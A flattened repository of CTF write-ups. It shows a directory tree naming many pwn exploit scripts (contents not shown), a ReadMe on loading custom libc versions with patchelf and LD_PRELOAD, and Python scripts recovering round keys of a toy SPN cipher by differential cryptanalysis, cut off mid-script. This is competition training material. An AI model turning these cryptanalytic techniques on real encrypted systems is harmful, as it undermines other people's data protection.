├── ELF_Interpreters_and_Libcs ├── ReadMe.md ├── ld-2.23.so ├── ld-2.27.so ├── ld-2.29.so ├── ld-2.31.so ├── ld-2.34.so ├── ld-2.35.so ├── ld-2.35_32.so ├── ld-2.36.so ├── ld-2.39.so ├── libc-2.23.so ├── libc-2.27.so ├── libc-2.29.so ├── libc-2.31.so ├── libc-2.34.so ├── libc-2.35.so ├── libc-2.35_32.so ├── libc-2.36.so ├── libc-2.39.so ├── libcrypto.so.3 ├── libdl-2.36.so.2 └── libpthread-2.36.so.0 ├── README.md ├── cryptography_challs └── CyberOpen │ └── Trails │ ├── ReadMe.md │ ├── SPN.png │ ├── final_round_key_recovery.py │ ├── first_round_key_recovery.py │ ├── fourth_round_key_recovery_part1.py │ ├── fourth_round_key_recovery_part2.py │ ├── output.txt │ ├── sbox_helper.py │ ├── second_round_key_recovery.py │ ├── service.py │ ├── test_one_round.py │ ├── third_round_key_recovery.py │ └── z3_solver.py ├── forensic_challs ├── HTB_Apocalypse_2021 │ └── Oldest_Trick_in_the_Book │ │ ├── ReadMe.md │ │ ├── older_trick.pcap │ │ ├── oldest_trick_extraction.py │ │ └── screenshots │ │ └── older_ICMP_exfil.png ├── HTB_Uni_Quals_21 │ ├── keep_the_steam_activated │ │ ├── ReadMe.md │ │ ├── forensics_keep_the_steam.zip │ │ ├── ntds_b64encoded.png │ │ ├── system_ntds_transfer_conversation.png │ │ ├── winrm_traffic.png │ │ └── wireshark_file_extraction.png │ ├── peel_back_the_layers │ │ ├── ReadMe.md │ │ └── gearrepair_string_convert.py │ └── strike_back │ │ ├── ReadMe.md │ │ ├── capture.pcap │ │ ├── cobalt_virustotal.png │ │ ├── freesteam.dmp │ │ ├── freesteam_exe_extraction.png │ │ └── orders_pdf.png └── Registry_Keys_Cheat_Sheet ├── pwn_challs ├── CyberOpen22 │ ├── 16-bit │ │ ├── 16_bit_writeup.py │ │ ├── ReadMe.md │ │ └── chal_patched │ ├── gibson │ │ ├── ReadMe.md │ │ ├── gibson_s390x.tar │ │ └── gibson_writeup.py │ └── push │ │ ├── ReadMe.md │ │ ├── push_brute_brop_gadget.py │ │ ├── push_brute_leak_gadget.py │ │ ├── push_brute_stopgadget.py │ │ ├── push_length_detector.py │ │ └── push_writeup_solve.py ├── DawgCTF_21 │ └── Bofit │ │ ├── ReadMe.md │ │ ├── bofit │ │ ├── bofit.c │ │ ├── bofit_payload.py │ │ └── flag.txt ├── DeadfaceCTF_22 │ ├── Exploit_Checker │ │ ├── ReadMe.md │ │ ├── exploitchecker_old2 │ │ └── exploitchecker_payload.py │ └── Offset_Checker │ │ ├── ReadMe.md │ │ ├── leaked_elf_with_GOT │ │ ├── offset_checker.py │ │ ├── offset_checker_sample_leak.py │ │ └── offset_checker_stack_scan.py ├── GDG_Algiers22 │ └── noteskeeper │ │ ├── ReadMe.md │ │ ├── chall │ │ ├── ld-2.29.so │ │ ├── libc-2.29.so │ │ ├── notes_keeper.zip │ │ └── noteskeeper_exploit.py ├── HTB UniCTF Finals 2022 │ └── Robo-quest │ │ ├── ReadMe.md │ │ ├── pwn_roboquest.zip │ │ ├── robo_quest │ │ └── roboquest_exploit.py ├── HTBUni22 │ └── spellbook │ │ ├── ReadMe.md │ │ ├── glibc │ │ ├── ld-linux-x86-64.so.2 │ │ └── libc.so.6 │ │ ├── pwn_spellbook.zip │ │ ├── spellbook │ │ └── spellbook_exploit.py ├── HTB_Apocalypse_2021 │ ├── Harvester │ │ ├── ReadMe.md │ │ ├── flag.txt │ │ ├── harvester │ │ ├── harvester_payload.py │ │ └── libc.so.6 │ ├── close_the_door │ │ ├── ReadMe.md │ │ ├── close_the_door │ │ ├── close_the_door_payload.py │ │ ├── flag.txt │ │ └── libc.so.6 │ ├── controller │ │ ├── ReadMe.md │ │ ├── controller │ │ ├── controller_payload.py │ │ ├── flag.txt │ │ └── libc.so.6 │ ├── environment │ │ ├── ReadMe.md │ │ ├── environment │ │ ├── environment_payload.py │ │ ├── flag.txt │ │ └── libc.so.6 │ └── system_dROP │ │ ├── ReadMe.md │ │ ├── flag.txt │ │ ├── screenshots │ │ └── Blukat_Screenshot.png │ │ ├── system_drop │ │ └── system_drop_payload.py ├── HTB_Uni_Quals_21 │ ├── arachnoid_heaven │ │ ├── ReadMe.md │ │ ├── arachnoid_heaven │ │ └── arachnoid_writeup.py │ └── robot_factory │ │ ├── ReadMe.md │ │ ├── libc.so.6 │ │ ├── robot_factory │ │ └── robot_factory_writeup.py ├── HackyHolidays_SpaceRace │ └── engine_control │ │ ├── ReadMe.md │ │ ├── engine.c │ │ ├── engine.py │ │ ├── engine_control_ubuntu_18 │ │ ├── engine_control_writeup_1.py │ │ └── engine_control_writeup_2.py ├── ICHSA_CTF_21 │ ├── COP │ │ ├── DockerInstructions.md │ │ ├── Dockerfile │ │ ├── ReadMe.md │ │ ├── chalenge.c │ │ ├── chalenge.h │ │ ├── cop.gif │ │ ├── cop_payload.py │ │ ├── description.md │ │ └── flag.txt │ └── Epic_Game │ │ ├── Dockerfile │ │ ├── README.txt │ │ ├── ReadMe.md │ │ ├── app.out │ │ ├── docker-compose.yml │ │ ├── epic_game.c │ │ ├── epic_game.h │ │ ├── epic_game_payload.py │ │ ├── flag.txt │ │ └── libc.so.6 ├── Imaginary_CTF │ ├── speedrun │ │ ├── ReadMe.md │ │ ├── speedrun.py │ │ └── speedrun_payload.py │ ├── stackoverflow │ │ ├── ReadMe.md │ │ ├── stackoverflow │ │ └── stackoverflow_payload.py │ ├── string_editor_1 │ │ ├── ReadMe.md │ │ ├── libc.so.6 │ │ ├── string_editor_1 │ │ └── string_editor_1_payload.py │ └── string_editor_2 │ │ ├── ReadMe.md │ │ ├── libc.so.6 │ │ ├── string_editor_2 │ │ └── string_editor_2_payload.py ├── MetaCTF21 │ ├── Little_Boi │ │ ├── ReadMe.md │ │ ├── binsh_string_ghidra.png │ │ ├── little │ │ └── little_payload.py │ ├── Tic_Tac_Toe │ │ ├── ReadMe.md │ │ ├── chall │ │ ├── challenge.c │ │ ├── tic_tac_toe_Release.tar.gz │ │ └── tic_tac_toe_payload.py │ ├── Two's_Compliment │ │ ├── ReadMe.md │ │ ├── two │ │ ├── two_compliment.tar.gz │ │ └── two_compliment_writeup.py │ └── Unionized │ │ ├── ReadMe.md │ │ ├── chall │ │ ├── chall_patched │ │ ├── challenge.c │ │ ├── ld-2.28.so │ │ ├── libc-2.28.so │ │ ├── unionized_Release.tar.gz │ │ └── unionized_writeup.py ├── RACTF │ └── hotel_codeifornia │ │ ├── ReadMe.md │ │ ├── hotel_codeifornia │ │ ├── hotel_codeifornia_code_generator.py │ │ ├── hotel_codeifornia_payload_final.py │ │ ├── hotel_codeifornia_sig_generator.py │ │ ├── pubkey.pem │ │ └── rsa_decoder ├── RaRCTF │ ├── Guessing_Game │ │ ├── Dockerfile │ │ ├── ReadMe.md │ │ ├── guess │ │ ├── guess_payload_final.py │ │ └── libc6_2.31-0ubuntu9.2_amd64.so │ └── boring_flag_runner │ │ ├── ReadMe.md │ │ ├── boring-flag-checker │ │ ├── boring-flag-runner.zip │ │ ├── boring_flag_runner_payload_final.py │ │ └── script_creator_final.py ├── UIUCTF22 │ └── no-syscalls-allowed.c │ │ ├── ReadMe.md │ │ ├── no-syscalls-allowed_writeup.py │ │ └── no_syscalls_allowed.c ├── UIUCTF23 │ └── Chainmail │ │ ├── Dockerfile │ │ ├── ReadMe.md │ │ ├── chainmail_payload.py │ │ ├── chal │ │ └── chal.c ├── idekCTF_2022 │ └── Typop │ │ ├── Dockerfile │ │ ├── ReadMe.md │ │ ├── chall │ │ ├── flag.txt │ │ ├── ld-2.31.so │ │ ├── libc-2.31.so │ │ ├── typop.tar │ │ ├── typop_exploit_ret2csu.py │ │ └── typop_exploit_ret2libc.py ├── picoMini_21 │ ├── ReadMe.md │ ├── clutter_overflow │ │ ├── ReadMe.md │ │ └── clutter_overflow_payload.py │ └── fermat_strings │ │ ├── ReadMe.md │ │ └── fermat_strings_payload.py ├── romCTF21 │ └── TableofContents │ │ ├── Makefile │ │ ├── ReadMe.md │ │ ├── tableofcontents │ │ ├── tableofcontents_local_payload.py │ │ ├── tableofcontents_remote_payload.py │ │ └── toc.cc ├── space_heroes_22 │ ├── Blackhole ROP │ │ ├── ReadMe.md │ │ └── blackhole_rop_writeup.py │ ├── Rule of Two │ │ ├── ReadMe.md │ │ ├── rule_of_two_exploit.py │ │ └── vader │ ├── Use the Force, Luke │ │ ├── ReadMe.md │ │ ├── force │ │ ├── force.zip │ │ └── use_the_force_exploit.py │ └── vader │ │ ├── ReadMe.md │ │ ├── vader │ │ └── vader_exploit.py └── wolvCTF23 │ └── echo2 │ ├── Dockerfile │ ├── ReadMe.md │ ├── challenge │ ├── echo2 │ ├── echo2_writeup.py │ ├── ld-2.35.so │ └── libc.so.6 ├── reversing_challs └── UIUCTF22 │ └── Pierated Art │ ├── ReadMe.md │ ├── pierated_writeup.py │ └── piet_sample.png ├── web_challs └── HTB_Apocalypse_2021 │ └── Wild_Goose_Hunt │ ├── ReadMe.md │ └── screenshots │ ├── Goose_Initial_Payload.png │ ├── Goose_Initial_Result.png │ ├── Goose_Regex_Test.png │ ├── Goose_Script_Result.png │ └── Wild_Goose_Initial_Login.png └── wicked6_winjaCTF_2022 ├── DecEivE ├── ReadMe.md └── deceive.png ├── Easy-Rev ├── ReadMe.md └── easy-rev.out ├── Packed Locker ├── ReadMe.md └── packed_locker ├── ReadMe.md ├── Unreachable ├── ReadMe.md └── unreachable.out ├── Who Am I? ├── ReadMe.md └── whoami └── d3bug-th1s ├── ReadMe.md └── space /ELF_Interpreters_and_Libcs/ReadMe.md: -------------------------------------------------------------------------------- 1 | The idea here is to keep a selection of ELF interpreters and libcs to avoid running specific virtual machines or docker instances as much as possible when a custom libc is required for a pwn challenge. 2 | 3 | I believe I took most of these from my own VMs, but the 2.34 ones are from DiceCTF 2022's BabyRop challenge. 4 | 5 | To use, I would recommend you first copy the binary that you want to run with a specific libc version. 6 | 7 | Move the interpreter file (ld-...) to the same directory, and be sure to set its privileges to executable. 8 | 9 | Then patch the copied binary with something like 10 | ``` 11 | patchelf my_binary --set-interpreter ../../ld-2.27.so --set-rpath ./ 12 | ``` 13 | Use the libc file of your choice through pwntools by setting the LD_PRELOAD environment variable like so: 14 | ``` 15 | target = process('./my_binary', env={"LD_PRELOAD":"./libc.so.6"}) 16 | ``` 17 | Or on the command line: 18 | ``` 19 | LD_PRELOAD=libc.so.6 ./my_binary 20 | ``` 21 | Or you can dispense with the need for LD_PRELOAD entirely with patchelf and the replace-needed option: 22 | ``` 23 | patchelf my_binary --replace-needed libc.so.6 libc-2.27.so 24 | ``` 25 | -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.23.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.27.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.29.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.29.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.31.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.34.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.34.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.35.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.35.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.35_32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.35_32.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.36.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.36.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/ld-2.39.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/ld-2.39.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.23.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.27.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.29.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.29.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.31.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.31.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.34.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.34.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.35.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.35.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.35_32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.35_32.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.36.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.36.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libc-2.39.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libc-2.39.so -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libcrypto.so.3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libcrypto.so.3 -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libdl-2.36.so.2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libdl-2.36.so.2 -------------------------------------------------------------------------------- /ELF_Interpreters_and_Libcs/libpthread-2.36.so.0: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/ELF_Interpreters_and_Libcs/libpthread-2.36.so.0 -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/SPN.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/knittingirl/CTF-Writeups/7a329583754b617db407c4262b93ba9422ccee25/cryptography_challs/CyberOpen/Trails/SPN.png -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/final_round_key_recovery.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | def decrypt_end(x, final_key): 12 | x = x ^ final_key 13 | new_x = 0 14 | for j in range(3,-1,-1): 15 | sbox_bits = (x >> (j * 4)) % 0x10 16 | sbox_enc = sbox_rev[sbox_bits] 17 | new_x += sbox_enc * (0x10 ** j) 18 | return new_x 19 | file = open('output.txt', 'r') 20 | mappings = {} 21 | 22 | while True: 23 | line = file.readline() 24 | if not line: 25 | break 26 | if 'Enter' in line: 27 | cleaned = line.split('message: ')[1].strip('\n') 28 | for i in range(16): 29 | plain = int(cleaned[i*4: i*4+4], 16) 30 | cipher = int(file.read(16), 2) 31 | mappings[plain] = cipher 32 | test_keys = {} 33 | 34 | start_time = time.time() 35 | 36 | for i in range(0, 0xffff): 37 | pt1 = i 38 | pt2 = i ^ 0xc000 39 | if pt2 < pt1: 40 | continue 41 | ct1 = mappings[pt1] 42 | ct2 = mappings[pt2] 43 | pt_diff = pt1 ^ pt2 44 | ct_diff = ct1 ^ ct2 45 | for char1 in string.printable: 46 | for char2 in string.printable: 47 | key = ord(char1) * 0x100 + ord(char2) 48 | partial_ct1 = decrypt_end(ct1, key) 49 | partial_ct2 = decrypt_end(ct2, key) 50 | ct_diff_decr = partial_ct1 ^ partial_ct2 51 | 52 | if ct_diff_decr == 0xbbbb: 53 | if hex(key) not in test_keys.keys(): 54 | test_keys[hex(key)] = 1 55 | else: 56 | test_keys[hex(key)] += 1 57 | if i % 0x20 == 0: 58 | print(hex(i)) 59 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 60 | 61 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 62 | 63 | end_time = time.time() 64 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/first_round_key_recovery.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | key5 = 0x3f21 12 | key4 = 0x3f21 13 | key3 = 0x6c33 14 | key2 = 0x6d70 15 | 16 | def decrypt_end(x): 17 | keys = [key5, key4, key3, key2] 18 | for i in range(4): 19 | x = x ^ keys[i] 20 | new_x = 0 21 | if i >= 1: 22 | x = int(''.join([format(x, '016b')[i] for i in pbox]), 2) 23 | for j in range(3,-1,-1): 24 | sbox_bits = (x >> (j * 4)) % 0x10 25 | 26 | sbox_enc = sbox_rev[sbox_bits] 27 | 28 | new_x += sbox_enc * (0x10 ** j) 29 | 30 | x = new_x 31 | 32 | return x 33 | 34 | file = open('output.txt', 'r') 35 | mappings = {} 36 | 37 | while True: 38 | line = file.readline() 39 | if not line: 40 | break 41 | if 'Enter' in line: 42 | cleaned = line.split('message: ')[1].strip('\n') 43 | for i in range(16): 44 | plain = int(cleaned[i*4: i*4+4], 16) 45 | cipher = int(file.read(16), 2) 46 | mappings[plain] = cipher 47 | test_keys = {} 48 | 49 | pt = 0 50 | ct = mappings[pt] 51 | partial = decrypt_end(ct) 52 | 53 | print(hex(partial ^ pt)) 54 | pt = 0x100 55 | ct = mappings[pt] 56 | partial = decrypt_end(ct) 57 | 58 | print(hex(partial ^ pt)) 59 | 60 | 61 | start_time = time.time() 62 | 63 | 64 | 65 | 66 | for i in range(0): 67 | pt1 = i 68 | pt2 = i ^ 0x4444 69 | if pt2 < pt1: 70 | continue 71 | ct1 = mappings[pt1] 72 | ct2 = mappings[pt2] 73 | pt_diff = pt1 ^ pt2 74 | ct_diff = ct1 ^ ct2 75 | for char1 in string.printable: 76 | for char2 in string.printable: 77 | key = ord(char1) * 0x100 + ord(char2) 78 | partial_ct1 = decrypt_end(ct1, key) 79 | partial_ct2 = decrypt_end(ct2, key) 80 | ct_diff_decr = partial_ct1 ^ partial_ct2 81 | if ct_diff_decr == 0x4444: 82 | if hex(key) not in test_keys.keys(): 83 | test_keys[hex(key)] = 1 84 | else: 85 | test_keys[hex(key)] += 1 86 | if i % 0x20 == 0: 87 | print(hex(i)) 88 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 89 | 90 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 91 | 92 | end_time = time.time() 93 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/fourth_round_key_recovery_part1.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | key5 = 0x3f21 12 | 13 | def decrypt_end(x, test_key): 14 | keys = [key5, test_key] 15 | for i in range(2): 16 | x = x ^ keys[i] 17 | new_x = 0 18 | if i == 1: 19 | x = int(''.join([format(x, '016b')[i] for i in pbox]), 2) 20 | for j in range(3,-1,-1): 21 | sbox_bits = (x >> (j * 4)) % 0x10 22 | 23 | sbox_enc = sbox_rev[sbox_bits] 24 | 25 | new_x += sbox_enc * (0x10 ** j) 26 | 27 | x = new_x 28 | 29 | return x 30 | 31 | file = open('output.txt', 'r') 32 | mappings = {} 33 | 34 | while True: 35 | line = file.readline() 36 | if not line: 37 | break 38 | if 'Enter' in line: 39 | cleaned = line.split('message: ')[1].strip('\n') 40 | for i in range(16): 41 | plain = int(cleaned[i*4: i*4+4], 16) 42 | cipher = int(file.read(16), 2) 43 | mappings[plain] = cipher 44 | test_keys = {} 45 | 46 | start_time = time.time() 47 | 48 | for i in range(0, 0xffff): 49 | pt1 = i 50 | pt2 = i ^ 0xc000 51 | if pt2 < pt1: 52 | continue 53 | ct1 = mappings[pt1] 54 | ct2 = mappings[pt2] 55 | pt_diff = pt1 ^ pt2 56 | ct_diff = ct1 ^ ct2 57 | for j in range(0x8): 58 | for char2 in string.printable: 59 | key = j * 0x1000 + ord(char2) 60 | partial_ct1 = decrypt_end(ct1, key) 61 | partial_ct2 = decrypt_end(ct2, key) 62 | ct_diff_decr = partial_ct1 ^ partial_ct2 63 | 64 | if ct_diff_decr == 0x4044: 65 | if hex(key) not in test_keys.keys(): 66 | test_keys[hex(key)] = 1 67 | else: 68 | test_keys[hex(key)] += 1 69 | if i % 0x20 == 0: 70 | print(hex(i)) 71 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 72 | 73 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 74 | 75 | end_time = time.time() 76 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/fourth_round_key_recovery_part2.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | key5 = 0x3f21 12 | 13 | def decrypt_end(x, test_key): 14 | keys = [key5, test_key] 15 | for i in range(2): 16 | x = x ^ keys[i] 17 | new_x = 0 18 | if i >= 1: 19 | x = int(''.join([format(x, '016b')[i] for i in pbox]), 2) 20 | for j in range(3,-1,-1): 21 | sbox_bits = (x >> (j * 4)) % 0x10 22 | 23 | sbox_enc = sbox_rev[sbox_bits] 24 | 25 | new_x += sbox_enc * (0x10 ** j) 26 | 27 | x = new_x 28 | 29 | return x 30 | 31 | file = open('output.txt', 'r') 32 | mappings = {} 33 | 34 | while True: 35 | line = file.readline() 36 | if not line: 37 | break 38 | if 'Enter' in line: 39 | cleaned = line.split('message: ')[1].strip('\n') 40 | for i in range(16): 41 | plain = int(cleaned[i*4: i*4+4], 16) 42 | cipher = int(file.read(16), 2) 43 | mappings[plain] = cipher 44 | test_keys = {} 45 | 46 | start_time = time.time() 47 | 48 | for i in range(0, 0xffff): 49 | pt1 = i 50 | pt2 = i ^ 0x0c00 51 | if pt2 < pt1: 52 | continue 53 | ct1 = mappings[pt1] 54 | ct2 = mappings[pt2] 55 | pt_diff = pt1 ^ pt2 56 | ct_diff = ct1 ^ ct2 57 | for char1 in string.printable: 58 | if (ord(char1) // 0x10) != 0x3 and (ord(char1) // 0x10) != 0x70: 59 | continue 60 | for char2 in ''.join([chr(0x21), chr(0x25), chr(0x61), chr(0x65)]): 61 | key = ord(char1) * 0x100 + ord(char2) 62 | partial_ct1 = decrypt_end(ct1, key) 63 | partial_ct2 = decrypt_end(ct2, key) 64 | ct_diff_decr = partial_ct1 ^ partial_ct2 65 | if ct_diff_decr == 0x4444: 66 | if hex(key) not in test_keys.keys(): 67 | test_keys[hex(key)] = 1 68 | else: 69 | test_keys[hex(key)] += 1 70 | if i % 0x20 == 0: 71 | print(hex(i)) 72 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 73 | 74 | print(dict(sorted(test_keys.items(), key=lambda item: item[1]))) 75 | 76 | end_time = time.time() 77 | print('The process took a total time of:', end_time - start_time) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/sbox_helper.py: -------------------------------------------------------------------------------- 1 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 2 | 3 | diffs = [] 4 | for i in range(16): 5 | for j in range(16): 6 | if i != j: 7 | plain_diff = i ^ j 8 | enciphered_diff = sbox[i] ^ sbox[j] 9 | diffs.append(str(plain_diff) + ' => ' + str(enciphered_diff)) 10 | 11 | diffs_dict = {} 12 | 13 | for item in diffs: 14 | if item not in diffs_dict.keys(): 15 | diffs_dict[item]=1 16 | else: 17 | diffs_dict[item] += 1 18 | 19 | print(dict(sorted(diffs_dict.items(), key=lambda item: item[1]))) -------------------------------------------------------------------------------- /cryptography_challs/CyberOpen/Trails/second_round_key_recovery.py: -------------------------------------------------------------------------------- 1 | import string 2 | import time 3 | 4 | sbox = [1, 5, 15, 2, 14, 8, 0, 9, 10, 3, 4, 12, 13, 7, 11, 6] 5 | 6 | sbox_rev = [6, 0, 3, 9, 10, 1, 15, 13, 5, 7, 8, 14, 11, 12, 4, 2] 7 | 8 | pbox = [0x00, 0x04, 0x08, 0x0c, 0x01, 0x05, 0x09, 0x0d, 9 | 0x02, 0x06, 0x0a, 0x0e, 0x03, 0x07, 0x0b, 0x0f] 10 | 11 | key5 = 0x3f21 12 | key4 = 0x3f21 13 | key3 = 0x6c33 14 | 15 | def decrypt_end(x, test_key): 16 | keys = [key5, key4, key3, test_key] 17 | for i in range(4): 18 | x = x ^ keys[i] 19 | new_x = 0 20 | if i >= 1: 21 | x = int(''.join([format(x, '016b')[i] for i in pbox]), 2) 22 | for j in range(3,-1,-1): 23 | sbox_bits = (x >> (j * 4)) % 0x10 24 | 25 | sbox_enc = sbox_rev[sbox_bits] 26 | 27 | new_x += sbox_enc * (0x10 ** j) 28 | 29 | x = new_x 30 | 31 | return x 32 | 33 | file = open('output.txt', 'r') 34 | mappings = {} 35 | 36 | while True: 37 | line = file.readline() 38 | if not line: 39 | break 40 | if 'Enter' in line: 41 | cleaned = line.split('message: ')[1].strip('\n') 42 | for i in range(16): 43 | plain = int(cleaned[i*4: i*4+4], 16) 44 | cipher = int(file.read(16), 2) 45 | mappings[plain] = cipher 46 | test_keys = {} 47 | 48 | start_time = time.time() 49 | 50 | for i in range(0, 0xffff): 51 | pt1 = i 52 | pt2 = i ^ 0x4444 53 | if pt2 < pt1: 54 | continue 55 | ct1 = mappings[pt1] 56 | ct2 = mappings[pt2] 57 | pt_diff = pt1 ^ pt2 58 | ct_diff = ct1 ^ ct2 59 | for char1 in string.printable: 60 | for char2 in string.printable: 61 | key = ord(char1) * 0x100 + ord(char2) 62 | partial_ct1 = decrypt_end(ct1, key) 63 | partial_ct2 = decrypt_end(ct2, key) 64 | 